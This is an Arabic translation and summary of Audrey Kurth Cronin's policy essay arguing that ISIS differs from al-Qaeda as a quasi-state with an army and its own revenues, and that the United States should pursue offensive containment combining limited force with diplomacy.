تنظيم الدولة الإسلامية “داعش” ليست جماعة إرهابية لماذا لم ترِد جهود مكافحة الإرهاب إيقاف تهديد الجهاديين الأخير؟

      التعليقات على تنظيم الدولة الإسلامية “داعش” ليست جماعة إرهابية لماذا لم ترِد جهود مكافحة الإرهاب إيقاف تهديد الجهاديين الأخير؟ مغلقة

الكاتب: أودري كورث كرونين (Audrey Kurth Cronin)

ترجمة وعرض: د. حسين أحمد دخيل السرحان

الحقيقة الواقعية هي أن الولايات المتحدة لم يكن لديها خيارات عسكرية جيدة في قتالها ضد تنظيم “داعش” الإرهابي. لا مكافحة الإرهاب ولا

مكافحة التطرف ولا الحرب التقليدية كافية لتحفز الولايات المتحدة على تحقيق انتصار واضح ضد التنظيم. في الوقت الحاضر – على الأقل – السياسة التي تهدف إلى تحقيق الأهداف عبر وسائل أفضل، والتي لديها القدرة على تأمين مصالح الولايات المتحدة، هي احتواء الهجوم ودمج الحملة العسكرية المحدودة مع الجهد الدبلوماسي والجهد الاقتصادي لإضعاف تنظيم “داعش” الإرهابي وتراصف مصالح عدة بلدان هُدّدت بالخطر بعد تقدم التنظيم وتوسعه.

يبدأ الكاتب بالإشارة إلى إشكالية مهمة، وهي لماذا لم ينتج عن جهود مكافحة الإرهاب التي تقوم بها الولايات المتحدة إيقاف تهديد الجهاديين الأخير، المتمثل بتنظيم “الدولة الإسلامية” في العراق والشام “داعش” الإرهابي؟.

بعد أحداث 11 أيلول 2001، كان العديد ممن كانوا داخل المؤسسة الأمنية الوطنية الأمريكية قلقين من العقود الزمنية التي تلت الحادث وأُجري خلالها الاستعدادات لمواجهة الأعداء التقليديين. فواشنطن لم تكن مستعدة لمواجهة التحدي الذي شكله الخصوم غير التقليديين مثل تنظيم القاعدة الإرهابي، لذلك – وبعد عقد من الزمان – بنت الولايات المتحدة هيكلا بيروقراطيا متقنا لقتال ومواجهة المنظمة الجهادية المتمثلة بتنظيم القاعدة الإرهابي، معتمدة على قوتها العسكرية واستخباراتها ووكالات سيادة القانون أو تنفيذ القانون لتنفيذ مهام محاربة الإرهاب ومكافحة التطرف.

وعند المقارنة، يؤكد الكاتب أن – الآن، وعلى أي حال – المجموعة الإرهابية تختلف، فتنظيم (الدولة الإسلامية في العراق والشام “داعش”) – التي تدعي بأنها دولة إسلامية أيضا – حل محل تنظيم القاعدة كمجاهدين يهددون الشأن أو الوضع العام، إذ إن الآيديولوجية والخطاب والأهداف الطويلة الأمد لتنظيم “داعش” تتشابه مع تنظيم القاعدة، كما أن الجماعتين كانتا حليفتين، لذا يرى عدد كبير من الملاحظين والمراقبين بأن التحدي الحالي ببساطة يتمثل بإعادة تركيز جهود واشنطن لمكافحة الإرهاب نحو هدف جديد يختلف عن الهدف الذي ساد بعد أحداث 11 أيلول 2001.

ولكن تنظيم “داعش” لايشبه تنظيم القاعدة، وهو ليست ثمرة أو جزءًا من المنظومة الإسلامية الراديكالية القديمة، وهو لايمثل مرحلة قادمة في ثورتها. ورغم أن القاعدة تبقى خطرة – خاصة في شمال أفريقيا واليمن – إلا أن “داعش” يمثل التهديد الجديد بعد تهديد جهاديي القاعدة.

   استرعى الرئيس بارك أوباما في خطابه القومي المتلفز في سبتمبر 2014 – لتوضيح خطته في تفكيك وتدمير تنظيم “داعش” الإرهابي – الانتباه إلى خط مستقيم بين تنظيم “داعش” وتنظيم القاعدة الإرهابيين، وادعى بأن تنظيم “داعش” هو منظمة إرهابية مترابطة وبسيطة. وهذا كان خطأ، فتنظيم “داعش” بالكاد يناسب ذلك الوصف. فعلى الرغم من أنه يستخدم الإرهاب كتكتيك له، إلا أنه ليس منظمة إرهابية بسيطة على الإطلاق. فالشبكات الإرهابية – مثل تنظيم القاعدة – عموما تضم العشرات أو المئات من الإرهابيين، ولا تعمل في إقليم معين، ولايمكن مواجهتها مباشرة بالقوات العسكرية. كما أن تنظيم “داعش” يتباهى ويفتخر بـ(30.000) مقاتل، ويستولى على بعض الأراضي في العراق وسورية ولديه قدرات عسكرية كبيرة ، ويسيطر على خطوط الاتصالات، ويسيطر على بعض البنى التحتية من جسور ومطارات صغيرة وغيرها ويجد نفسه مشاركا في العمليات العسكرية الكبيرة. وإذا كان “داعش” هو بسيط أو شيء عادي فهو يحاول تجسيد دولة وهمية يقودها جيش تقليدي. وهذا هو سبب تقليل استراتيجيات مكافحة الإرهاب ومكافحة التطرف من خطورة تنظيم القاعدة ولاتعمل اليوم بجدية للقضاء على تنظيم “داعش”.

الاستراتيجيات التي قللت من تهديد تنظيم القاعدة لاتعمل الآن للقضاء على تنظيم (الدولة الإسلامية “داعش”):

يؤكد الكاتب أن واشنطن كانت بطيئة في سياساتها في العراق وسوريا تجاه حقيقية تهديد تنظيم (الدولة الإسلامية “داعش”). في سوريا، كانت الأولوية للجهود الأمريكية في مكافحة الإرهاب هو القضاء على فروع أو تشكيلات تنظيم القاعدة التي أعطت ميزة لتنظيم “داعش” وأيضا قدمت الفرصة لنظام الاسد لإفشال جهود الولايات المتحدة والمعارضة المتحالفة معها في إنهاء هذا النظام. وفي العراق، فإن واشنطن مستمرة في جهود مكافحة الإرهاب ومعتمدة على الحكومة العراقية في بغداد لاستعادة شعبيتها المفقودة، وتوحيد البلاد، وبناء قوات عسكرية من المدنيين لقتال التنظيم. وقد وضعت المناهج لمقابلة تهديد مختلف عن تهديد القاعدة. ومانحتاجه الان هو استراتيجية “الاحتواء الهجومية” عبر مزيج من التكتيكات العسكرية المحدودة ودبلوماسية واسعة لوقف توسع التنظيم وعزله وتفكيك قدراتها.

ضربات مختلفة

يكمن الفرق بين تنظيم القاعدة وتنظيم “داعش” جزئيا في تاريخ كل منهما. تشكل تنظيم القاعدة بعد الغزو السوفيتي لأفغانستان عام 1979. والرؤية العالمية لقياداته والتفكير الاستراتيجي تشكل بعد عشر سنوات من الحرب ضد الاحتلال السوفيتي، عندما ضم الآلاف من المتشددين الإسلاميين مثل أسامة بن لادن الذي سيطر على افغانستان. وكمنظمة متلاحمة، اتخذت شكل التنظيم العالمي أو شبكة عالمية تركز على القيام بهجمات عنيفة ضد الغرب أو الأهداف الغربية، مع هدفها في تحشيد المسلمين للالتحاق بالمواجهة العالمية مع القوى العلمانية القريبة والبعيدة.

وأما تنظيم “داعش” فإنه تكوّن من رحم هذه الأفكار عام 2003 مع الغزو الأمريكي للعراق. وفي بداية تكوينه كان أحد أعضاء الجماعات المتطرفة السُنية التي تقاتل القوات الأمريكية وتهاجم المواطنين الشيعة في محاولة منها لإشعال الحرب الأهلية الطائفية. في هذا الوقت كان يطلق عليها اسم القاعدة في العراق وقائدها أبو مصعب الزرقاوي الذي تعهد بالولاء لابن لادن، وقُتل الزرقاوي في غارة جوية أمريكية عام 2006، وبعد ذلك انتهى تنظيم القاعدة وخرج من العراق بعد أن قررت القبائل السُنية الاشتراك مع الأمريكان في قتاله. ولكن هذه الهزيمة لتنظيم القاعدة كانت مؤقتة، إذ أعاد تكوين نفسه في السجون الأمريكية الكبيرة في العراق حيث تجمع الإرهابيون وتواصلوا فيما بينهم وشكلوا شبكة وتزعم هذه الشبكة الزعيم الحالي لتنظيم “داعش” أبو بكر البغدادي الذي أعلن قيام الخلافة الإسلامية من الموصل وأعلن نفسه خليفة للمسلمين.

في عام 2011 توسعت الثورة ضد نظام الرئيس بشار الأسد في سوريا إلى ما يشبه الحرب الأهلية وأخذت المجموعة “داعش” تحرز تقدما في نشر الفوضى واستحوذت على إقليم شمال شرق سوريا مؤسسةً بذلك قاعدة للعمليات وأعطت لنفسها الامتياز بحمل شعار الدولة الإسلامية في العراق، واستمر التنظيم بالاستفادة من ضعف الدولة المركزية واستغلال الصراع الطائفي في البلاد الذي تصاعد بعد انسحاب القوات الأمريكية. ومع ذهاب الأمريكيين، سعى رئيس الوزراء العراقي السابق المالكي جاهدا لاتباع أجندات شيعية متشددة، فضلا على نفور عدد كبير من أبناء السُنة في جميع أنحاء البلاد. واليوم تنظيم “داعش” متهم بأنه من بين أعضائه بعض قيادات العشائر السُنية، والمعارضين للأمريكان سابقا، وحتى ضباط الجيش العراقي السابق الذين سعوا إلى استعادة قوتهم وسلطتهم التي كانوا يتمتعون بها في عهد نظام صدام السابق .

ومثّل دخول المجموعة وفتحها للعراق صدمة. وعندما احتل تنظيم “داعش” الفلوجة والرمادي في كانون الثاني 2014، توقع أغلب المحللين بأن قوات الأمن العراقية التي دربتها الولايات المتحدة ستكون قادرة على احتواء التهديد. ولكن في حزيران – ووسط الهروب الجماعي للجيش العراقي – تحرك التنظيم باتجاه بغداد بعد احتلاله الموصل وتكريت والقائم وكثير من المدن العراقية الأخرى. وفي نهاية شهر حزيران أعاد التنظيم تسمية نفسه بـ “الدولة الإسلامية” وأعلن الخلافة في الأراضي التي سيطر عليها. ومع – ووفقا لتخمينات الاستخبارات الأمريكية – ما يقارب 15000 مقاتل أجنبي من ثمانين بلدا توافدوا إلى المنطقة للانضمام إليه وبمعدل 1000 مقاتل كل شهر، وان أغلب هؤلاء المجندين يأتون من بلدان ذات أغلبية مسلمة مثل تونس والسعودية إلا أن بعضهم جاء من استراليا والصين وروسيا وبلدان أوروبا الغربية. وتمكن التنظيم أيضا من جذب مراهقين أمريكيين فتيان وفتيات على حد سواء، ومن بيوتات الطبقة الوسطى في مدينة دنفر، ومنيبولز وبعض مناطق شيكاغوا.

ويؤكد الكاتب أنه كما توسع تنظيم “داعش” فإن نواياه وأهدافه أصبحت أكثر وضوحا. ومع أن تنظيم القاعدة تصور نفسه بأنه في طليعة التمرد العالمي محشّدا المجتمعات الإسلامية ضد الحكم العلماني. فإن تنظيم “داعش” – في المقابل – يسعى لفرض سيطرته الإقليمية وخلق دولة إسلامية سُنية نقية تحكم بوحشية وقمعية وفق الشريعة الإسلامية، لتعمل مباشرة على طمس الحدود السياسية لمنطقة الشرق الأوسط التي وضِعت من قبل القوى الغربية في القرن العشرين. ووضعت نفسها بوصفها السلطة السياسية والدينية والعسكرية الوحيدة على جميع المسلمين في العالم .

المشتبه بهم ليسوا المعتادين:

منذ ظهور تنظيم “داعش” فإن أصوله وأهدافه اختلفت بشكل ملحوظ عن تنظيم القاعدة، فالمجموعتان تعملان بطرق مختلفة تماما. وهذا هو السبب في أن استراتيجية الولايات المتحدة في مكافحة الإرهاب التي وضِعت خصيصاً لقتال تنظيم القاعدة لاتتناسب في القتال ضد تنظيم “داعش”.

في مرحلة ما بعد هجمات 11 أيلول، أنفقت الولايات المتحدة أكثر من ترليون دولار لوضع بنية تحتية لأجهزة الاستخبارات، ووكالات تنفيذ القانون، وقامت بعمليات عسكرية استهدفت تنظيم القاعدة وتشكيلاته ومؤسساته. ووفقا لتحقيقات عام 2010 التي أجرتها صحيفة الواشنطن بوست أنشأت الولايات المتحدة مايقارب 263 مؤسسة حكومية للاستجابة لهجمات 11 ايلول متضمنة وزارة الأمن القومي، والمركز الوطني لمكافحة الإرهاب، والإدارة الأمنية للنقل. وكل سنة تقدم وكالة الاستخبارات المركزية (CIA) مايقارب 50000 خمسين ألف تقرير حول الإرهاب و51 منظمة حكومية فيدرالية وكثير من الأوامر العسكرية لتتبع الأموال من وإلى الجماعات الإرهابية. وقد ساعدت هذه الهيكلية على جعل الهجمات الإرهابية على الأراضي الأمريكية نادرة جدا. وبهذا المعنى فإن النظام قد عمل وأتى ثماره ولكن هذا النظام لايتناسب في التعامل مع تنظيم “داعش” الإرهابي الذي يُظهر نوعا مختلفا من التحدي .

الاعتبار الأول هو الحملة العسكرية والاستخباراتية الهائلة لاعتقال أو قتل القيادة الرئيسة للقاعدة من خلال الغارات الجوية لطائرات من دون طيار وعمليات القوات الخاصة. فما يقرب من 75 % من القيادات المهمة لجماعة القاعدة قتلوا بفعل عمليات خاصة وطائرات من دون طيار، والتكنولوجيا تتناسب كثيرا ومهمة ضرب الأهداف في المناطق الريفية حيث تكون حوادث إصابة المدنيين أو قتلهم قليلة جدا.

هكذا تكتيكات – على أي حال – لا تحمل كثيرا من الأمل ولا تعد بمواجهة “داعش” وإنهائه. فمجموعة المقاتلين وقياداتهم موجودون في المناطق الحضرية إذ اندمجوا بشكل قوي مع السكان المدنيين وهم مطوقون بالبنايات جاعلين غارات الطائرات من دون طيار والعمليات الخاصة أكثر صعوبة في إخراجهم من المدن. وببساطة فإن قتل قيادات “داعش” لن يشل حركة المنظمة. وهم يحكمون ما يشبه الدولة أو (دولة زائفة) مع هيكل إداري معقد. والجزء الأعلى من الأوامر العسكرية هو الإمارة، التي تتألف من البغدادي ونائبيه وكلاهما من اللذين خدموا كجنرالات في الجيش العراقي السابق في عهد صدام حسين: وهما أبو علي الأنباريالذي يسيطر على عمليات “داعش” في سوريا وأبو مسلم التركمانيالذي يسيطر على العمليات في العراق. ويشرف على البيروقراطية الإدارية لتنظيم “داعش” (12) إداريا يحكمون الأقاليم في سوريا والعراق، ويشرفون على المجالس التي تتولى القيام بمسائل عده منها المالية والإعلام والشؤون الإقليمية. وعلى الرغم من صعوبة أن يُصور ذلك في أشرطة الفيديو الدعائية على أنه حكومة، إلا أن الدولة الزائفة (الخلافة الإسلامية لـ”داعش”) ستستمر باقتدار من دون البغدادي أو أقرب مساعديه.

خلق تنظيم “داعش” تحديا رهيبا للتكتيكات التقليدية التي تتبعها الولايات المتحدة في مكافحة الإرهاب التي تهدف إلى وضع حدٍّ لتمويل الجهاديين والدعاية والتجنيد لهم. وقطع تمويل تنظيم القاعدة واحدة من قصص جهود مكافحة الإرهاب الأمريكية الأكثر إثارة للعجب. وبعد هجمات 11 أيلول بدأت (الأف بي اي) و(السي اي ايه) بالتنسيق عن قرب حول المعلومات المالية ومسائل التمويل الخاصة بتنظيم القاعدة، وسرعان ما انضما لوزارة الدفاع الأمريكية البنتاغون. فوكالة الاف بي اي كانت جزءا لايتجزأ من الوحدات العسكرية الأمريكية خلال غزو العراق عام 2003 واستجوبت الإرهابيين المشتبه بهم واعتقلتهم في معتقل أمريكي في خليج غوانتنامو في كوبا. وفي عام 2004، أسست وزارة الخزانة الأمريكية مكتب الإرهاب والاستخبارات المالية الذي دمر قدرة القاعدة على الاستفادة من غسل الأموال وتلقي الأموال تحت غطاء العمل الخيري. وقد ظهرت أيضا شبكة عالمية لمكافحة تمويل الإرهاب مدعومة من قبل الأمم المتحدة والاتحاد الأوروبي ومئات من الحكومات المتعاونة معهما.وكانت النتيجة أزمة خطيرة على تمويل تنظيم القاعدة بحلول عام 2011، وأعلنت وزارة الخزانة أن تنظيم القاعدة كان يكافح من أجل تأمين التمويل المستمر لتخطيط وتنفيذ هجمات إرهابية.”

وبالمقارنة مع “داعش” فإن هكذا أدوات تساهم قليلا في قتال “داعش” بسبب من أن الأخيرة لا تحتاج إلى تمويل خارجي إذ ان سيطرتها على الأراضي سمح لها ببناء النموذج المالي الذي يوصلها إلى مرحلة الاكتفاء الذاتي وهذا ما لايمكن تصورة بالنسبة لباقي الجماعات الإرهابية وهذا جعل تنظيم “داعش” يتميز عن باقي الجماعات الإرهابية. وابتداء من عام 2012 استولت “داعش” تدريجيا على مصادر النفط الرئيسة في شرق سوريا وهي الآن تسيطر على ما يقرب من 60% من الطاقة الإنتاجية النفطية للبلاد (سوريا). وعندما اندفعت “داعش” إلى داخل العراق استولت أيضا على بضع عمليات الإنتاج النفطي في العراق. وتتولى إدارة التنظيم بيع بعض هذا الإنتاج في السوق السوداء في العراق وسوريا متضمنة جزءا منها – كما أكدت بعض التقارير – إلى نظام الرئيس بشار الأسد نفسه. كما تهرّب “داعش” أيضا النفط خارج العراق وسوريا إلى الأردن وتركيا حيث وجدت كثيرا من المشترين المرحبين بأسعار أقل من أسعار السوق. ويؤكد كثيرون أن عائدات “داعش” من النفط تقدر مابين 1 مليون دولار و 3 مليون دولار كل يوم .

النفط هو عنصر واحد من عناصر المحفظة المالية للمجموعة “داعش”. وهناك أيضا مصدر آخر للتمويل، ففي نهاية حزيران 2014 وعندما فرض التنظيم سيطرته على المدينة الشمالية العراقية الموصل نهب موجودات البنوك ونهب الآثار ليبيعها في السوق السوداء. وسرق المجوهرات والسيارات والمكائن والمعدات والماشية من القرى التي احتلها. وسيطر التنظيم أيضا على شرايين النقل الرئيسة في غرب العراق وأعطى لنفسه الحق بفرض ضرائب على حركة البضائع وسيارات الشحن. ويحصل على عائدات من زراعة القطن ومحصول الحنطة الذي يزرع في الرقة وسلة الخبز في سوريا.

كذلك يضيف الكاتب مصدرا آخر لتمويل التنظيم وهو أن تنظيم “داعش” – وكأي جماعة إرهابية – يأخذ الرهائن ويطالب بعشرات الملايين من الدولارات كفدية لإطلاق سراحهم. والأكثر أهمية في تمويل التنظيم هو أسلوب الابتزاز واسع النطاق الذي يستهدف المالكين والمنتجين في المناطق التي يسيطر عليها، والضرائب على كل شيء بدءاً من المزارع العائلية الصغيرة إلى المشاريع الكبيرة مثل خدمات الهاتف وشركات تصنيع المياه وخدمات الكهرباء. وان وزارة الخزانة الأمريكية خفضت توقعاتها حول العوائد والأصول الكلية للتنظيم. ومن الواضح أن تنظيم “داعش” مؤسسة متنوعة الموارد تتضاءل أمامها ثروة أي منظمة إرهابية أخرى. وهناك أدلة قليلة على أن واشنطن نجحت في تحجيم موارد هذا التنظيم وتحجيم خزائنه.

الجنس والجهاد الأحادي أو المنفرد:

جانب آخر من الجهود الأمريكية لمكافحة الإرهاب هي أنها عملت بشكل جيد ضد تنظيم القاعدة الإرهابي وبذلت جهدا في نزع الشرعية عنه من خلال نشر أعمالهم الإرهابية والتجاوزات العنيفة أو من خلال مساعدة حلفاء الولايات المتحدة للقيام بذلك. فهجمات القاعدة تقتل أعدادا كبيرة من المسلمين، وقادة الجماعة حساسون تجاه خطر تهديد صورتهم على اعتبارهم طليعة الحركة الإسلامية الجهادية .

ونتج عن الهجوم في مراكش والسعودية العربية وتركيا عام 2003 واسبانيا عام 2004 والأردن والمملكة المتحدة عام 2005 آثارا سلبية للمسلمين أغضبت عددا كبيرا من المجتمعات الإسلامية في كل مكان من العالم وقللت الدعم المقدم لتنظيم القاعدة عبر العالم الإسلامي. وخسر تنظيم القاعدة دعمه الشعبي بدءا من عام 2007، وتنظيم القاعدة اليوم ملعون ومكروه وغير مرحب به في العالم الإسلامي. واستطلع مركز بيو للأبحاث (The Pew Research Center) مايقارب 9000 مسلم في أحد عشر بلدا عام 2013 ووجد بأن نسبة كبيرة أي ما يقارب 57% منهم غير داعمين لتنظيم القاعدة الإرهابي. وفي العديد من البلدان كانت النسبة في تصاعد 96% من المسلمين الذين شملهم الاستطلاع في لبنان

ونسبة 81% في الأردن، 73% في تركيا، 69% في مصر وهذه النسب لاتؤيد ولاتفضل وجهة نظر تنظيم القاعدة الإرهابي.

تنظيم “داعش” الإرهابي، على أي حال ، يبدوا أنه يكترث ومتخوف من ردة فعل عنيفة. وفي خطاب البغدادي حين أعلن نفسه خليفة للمسلمين تجرء البغدادي وكرس خطابه للمطالبة بالسلطة الدينية. في حين أن جوهر رسالة “داعش” يدور حول مقارعة القوة الغاشمة والانتقام وليس الحصول على الشرعية. ووحشية التنظيم – مشاهد قطع الرؤوس والإعدامات الجماعية – تم تصميمها لترهيب الخصوم وقمع معارضي التنظيم، والنفور بين المسلمين نتيجة هذه القسوة والوحشية قد تقوض التنظيم وتنهيه في نهاية المطاف. ولكن في الوقت الراهن فإن تركيز واشنطن على وحشية “داعش” يساعد التنظيم على زيادة هالة قوته .

وللأسباب نفسها فمن الصعب على الولايات المتحدة وحلفائها التصدي لجهود تجنيد المقاتلين التي جذبت عددا كبيرا من المسلمين الشباب إلى صفوف “داعش”. كما فعل تنظيم القاعدة، إذ إن جوهر تنظيم القاعدة جذب أتباعه بحجج دينية وبأسلوب الإيثار لنصرة الأمة الإسلامية والمجتمع الإسلامي على مستوى العالم. واستطاع أسامة بن لادن وخليفته في قيادة التنظيم أيمن الظواهري تشكيل صورة ورمز للتقوى والشرعية الدينية. ففي المقاطع الفيديوية الدعائية لهم يظهر الرجال كمحاربين زاهدين، وجالسين على الأرض في الكهوف، ويدرسون في المكتبات ويعيشون في مخيمات نائية بعيده. وعلى الرغم من أن بعض المؤسسات التابعة لتنظيم القاعدة لديها أماكن تجنيد جيدة، إلا أن الجوهر الأساسي للتنظيم يتضمن إقامة الخلافة على المدى الطويل – وهو هدف طوباوي يأتي قبله تعليم وتحشيد الأمة. لم يكن في تنظيم القاعدة قبول أو إجازة لشرب الكحول أو الاستمتاع بالنساء. وبهذا المعنى فإن صورة القاعدة وتشكيلها لم يكن يدعو إلى الإثارة بعمق. وفي الواقع، ومن أجل تجنيد الشباب في تنظيم القاعدة فإن الجنس يأتي بعد الزواج أو الشهادة.

على الجانب الآخر فإن تنظيم “داعش” الإرهابي مغاير لتنظيم القاعدة فهو يقدم رسالة مختلفة جدا بالنسبة للشبان وأحيانا النساء فالتنظيم يجذب الشباب ويتوقهم ليس بالوصول إلى الدين الحقيقي فحسب بل أيضا بمغامرة قوة الشخصية والشعور بالذات وإثباته في المجتمع. وبالتأكيد فإن بعض الأفراد يريدون القتل وتنظيم “داعش” يرحب بهم كثيرا. كما أن وحشية عنف التنظيم يجذب الاهتمام ويدلل على هيمنته من خلال أعماله الوحشية ويوجه الناس إلى أعمال الأكشن والإثارة.

تنظيم “داعش” يعمل في المدن الحضرية ويقدم فرصا فورية وسريعة للمجندين لممارسة القتل وتبث الأناشيد الحماسية التي ينتجها المقاتلون في الخطوط الأمامية. وتقوم بشراء النساء لمقاتليها وبعض هذه النساء تتطوع لهذا الغرض إلا أن معظمهن تُجبر على هذا الدور فأما ترضخ أو تُستعبد. ويقوم التنظيم بتبرير هذا السلوك من الجانب الديني. وبذلك أنشأت بالفعل الخلافة وأبو بكر البغدادي هو الخليفة، وهذا الوضع بالمقارنة مع مرحلة تنظيم القاعدة يجعل – ولو بشكل محدود – تنظيم القاعدة ومرحلته السابقة أقرب إلى ما يمكن أن نطلق عليه بالمدينة الفاضلة.

باختصار، يوفر تنظيم “داعش” على المدى القصير إشباعا مبدئيا. فالتنظيم لايجعل الناس متطرفين بشكل يمكن مواجهتهم بالمنطق والعقل. فالمراهقون انجذبوا إلى التنظيم والتحقوا به من دون حتى أن يفهموا ماهي طبيعته وماذا يعمل، وأما المقاتلون من كبار السن فإنهم يهدفون فقط إلى نجاح تنظيم “داعش”. وبالمقارنة مع رسالة مقاتلي تنظيم القاعدة المتشددين نسبيا، وجدت واشنطن صعوبة أكبر في مواجهة تنظيم “داعش” وربما لسبب بسيط جدا هو الرغبة في السلطة والنتائج المباشرة التي تسود الثقافة الأمريكية .

المدة الزمنية (2006 – 2015 ):

مكافحة الإرهاب ليس العنصر الوحيد في الممارسات الأمنية الوطنية التي اكتشفتها واشنطن وعملت على تنشيطها بعد أحداث 11 ايلول 2001 إذ يضاف لها جهود مكافحة التمرد التي تعيش حالة انبعاث ونهوض. وكما اندلعت الفوضى بعد الغزو الأمريكي للعراق واحتلاله عام 2003 بدأت القوات العسكرية الأمريكية تدريجيا التفكير بمكافحة التمرد وهو الموضوع الذي سقط من اهتمامات مؤسسة الأمن القومي الأمريكية بعد الحرب الفيتنامية. وكان التطبيق الأكثر نجاحا في عقيدة مكافحة التمرد الأمريكية هو في العراق عام 2007 وأشرف عليها الجنرال ديفيد بترايوس في عام 2006. ومع بلوغ العنف ذروته في محافظة الأنبار ذات الغالببية السُنية خلص المسؤولون الأمريكان إلى أن الولايات المتحدة خسرت المعركة. واستجابة لذلك، قرر الرئيس الأمريكي جورج دبليو بوش إرسال قوات أمريكية إضافية قوامها 20000 جندي إلى العراق. وتعهد الجنرال جون آلن – الذي عمل نائبا لقائد القوات المتعددة الجنسية في الأنبار – بتعزيز العلاقات مع القبال السُنية ورعايتها وتشكيل ماسمي آنذاك بقوات الصحوة السُنية التي شملت 40 عشيرة رئيسة وفرعية من العشائر السُنية وقررت القتال إلى جانب القوات الأمريكية ضد تنظيم القاعدة في العراق. وخلال عام 2008 انخفض معدل الهجمات الإرهابية إلى أكثر من 80%.

وعند النظر إلى حجم مكاسب تنظيم “داعش” في المناطق السٌنية في العراق يجادل البعض بأنه ينبغي على واشنطن أن تستجيب للخيار الثاني وهو تنفيذ استراتيجية مكافحة التمرد. ويبدو أن البيت الأبيض اقتنع جزئيا على الأقل بهذا الخط من التفكير. وفي نهاية السنة الماضية (2014) كلف الرئيس أوباما الجنرال جون آلن ليكون المبعوث الخاص لبناء تحالف دولي لمكافحة تنظيم “داعش” في المنطقة. وهناك منطق معين لهذا النهج؛ لأن “داعش” استمد الدعم من عدة جماعات متمردة مشابهه له التي حجمت الزيادة في الصحوة السُنية وهي المجموعات التي عادت إلى الظهور كتهديد بفضل الفراغ الناجم عن انسحاب القوات الأمريكية عام 2011 والأسلوب الطائفي في حكومة المالكي.

ولكن توجد اختلافات كبيرة بين وضع اليوم وتلك التي واجهتها الولايات المتحدة عام 2006، ومنطق مكافحة التمرد الأمريكي لا يتناسب وجهود مكافحة وقتال تنظيم “داعش”. ولاتستطيع الولايات المتحدة الفوز بقلوب وقبول العراقيين السُنة العرب، لأن حكومة المالكي فقدتهم فعلا. والحكومة العراقية – المهيمن عليها من قبل الشيعة – قوضت بشكل سيء شرعيتها السياسية التي قد يكون من المستحيل استعادتها. وعلاوة على ذلك، لم تعد الولايات المتحدة تحتل العراق ويكون باستطاعة واشنطن إرسال مزيد من القوات ولا يمكنها أن تضفي الشرعية على الحكومة التي لم تعد تسيطر عليها .

سياسة فرق تسد؟

اعتمدت الولايات المتحدة على استراتيجية مكافحة التمرد ليس فقط لإبعاد العراق من الانزلاق إلى مستوى دولة فاشلة ولكن أيضا لتكون بمثابة نموذج لآلية مكافحة الحركات الجهادية الأوسع. توسّع تنظيم القاعدة الإرهابي عبر إقناع الجماعات المتطرفة الإسلامية في كل أنحاء العالم لجعل الجماعات القومية الصغيرة والمستهدفة من قبل القاعدة لتكون ضمن صفوفها – وفي بعض الأحيان لجعل تلك الجماعات شركاء لتنظيم القاعدة الإرهابي. إذ كانت هناك قواسم مشتركة قليلة في الرؤى المتبعة من قبل الشيشان، والفلبينيين، والأندنوسيين، والكشميريين، والفلسطينيين وغيرهم من المتشددين وحاول أسامة بن لادن جمعهم تحت خيمة تنظيم القاعدة.

وقد سعت الولايات المتحدة وحلفاؤها إلى استغلال هذا الضعف. وحققت الحكومات في أندنوسيا والفلبين انتصارات مثيرة ضد تنظيم القاعدة وشركائه في بلدانها عبر اعتماد عمليات مكافحة التمرد مع بناء العلاقات الوثيقة بين المجتمعات المحلية وإقرار برامج اللامركزية المؤسساتية وتوفير التدريب الديني في السجون وإعادة تأهيل الإرهابيين السابقين كما يجري تأهيل الناطقين بـاسم الحكومة والتفاوض على رفع المظالم المحلية .

ودعا بعض المراقبين والمحللين واشنطن إلى تطبيق الاستراتيجية نفسها مع تنظيم “داعش” عبر محاولة فضح التصدعات بين جماعة ضباط الجيش العراقي العلمانيين السابقين وقيادات القبائل السُنية والمقاتلين السُنة المقيمين من جانب والجهاديين المخضرمين فيها من جانب آخر. وتنظيم “داعش” اليوم يقوده ضباط وقادة عراقيون مدربون جيدا يعرفون تقنيات الجيش الأمريكي وعاداته لأن واشنطن ساعدت بتدريبهم. وبعد توجيه الولايات المتحدة لوحدات الجيش العراقي وحصول هذه الوحدات على معدات عسكرية منها فإن تنظيم “داعش” اليوم مسلح بالدبابات الأمريكية والمدفعية وعربات الهامفي المدرعة والمركبات المقاومة للألغام .

ربما تعصب تنظيم “داعش” الديني الشديد سيثبت في نهاية المطاف بأنه مبالغ فيه بالنسبة لحلفائه من البعثيين العلمانيين السابقين. وضباط الجيش في عهد صدام بعيدون عن قتال “داعش” وبدلا من ذلك فهم يقودون ويدربون عناصر التنظيم وبذلك استطاعت “داعش” خلق جيش مشاة مدرب ويتباهى بالأسلحة الأمريكية.

وبطبيعة الحال، فإن هذا الأمر يلفت الانتباه إلى نهج ثالث في قتال تنظيم “داعش”، إلى جانب مكافحة الإرهاب ومكافحة التمرد وهو أسلوب الحرب التقليدية الشاملة ضد التنظيم والتي شُنت بهدف تدميره تماما. وسينتج عن هذه الحرب حماقة. فبعد خبرتها لأكثر من عقد من الزمان من الحرب المستمرة، فإن الراي العام الأمريكي ببساطة لن يدعم الاحتلال طويل الأمد والقتال العنيف حتى مع الحاجه لهذا النوع من القتال لطمس وإنهاء تنظيم “داعش”. وإن مواصلة الحملة العسكرية ضد التنظيم ستستنزف موارد أمريكية وستجعل هناك أملا قليلا في الوصول إلى الهدف. فمواصلة الحرب مع وجود عدم توافق سياسي لا تقود إلى انتصار فيها.

احتواء التهديد:

الحقيقة الواقعية هي أن الولايات المتحدة لم يكن لديها خيارات عسكرية جيدة في قتالها ضد تنظيم “داعش” الإرهابي. لا مكافحة الإرهاب ولا مكافحة التطرف ولا الحرب التقليدية كافية لتحمل الولايات المتحدة إلى تحقيق انتصار واضح ضد التنظيم. في الوقت الحاضر – على الأقل – السياسة التي تهدف إلى تحقيق الأهداف عبر وسائل أفضل لديها القدرة على تأمين مصالح الولايات المتحدة وهي احتواء الهجوم ودمج الحملة العسكرية المحدودة مع الجهد الدبلوماسي والجهد الاقتصادي لإضعاف تنظيم “داعش” الإرهابي وتراصف مصالح عدة بلدان هُددت بالخطر بعد تقدم التنظيم وتوسعه .

وبهذا الصدد يرى الكاتب أن تنظيم “داعش” ليس مجرد مشكلة أمريكية. فالحرب في سوريا والعراق لاترتبط فقط باللاعبين الاقليميين فحسب بل أيضا ترتبط بالفاعلين الكبار والقوى الكبرى على مستوى العالم مثل روسيا وتركيا وإيران والسعودية ودول الخليج العربي الأخرى. فواشنطن يجب أن تتوقف عن تصرفها بأنه يمكنها إصلاح مشاكل المنطقة بالقوة العسكرية بدلا من إحياء دورها كقوة دبلوماسية عظمى.

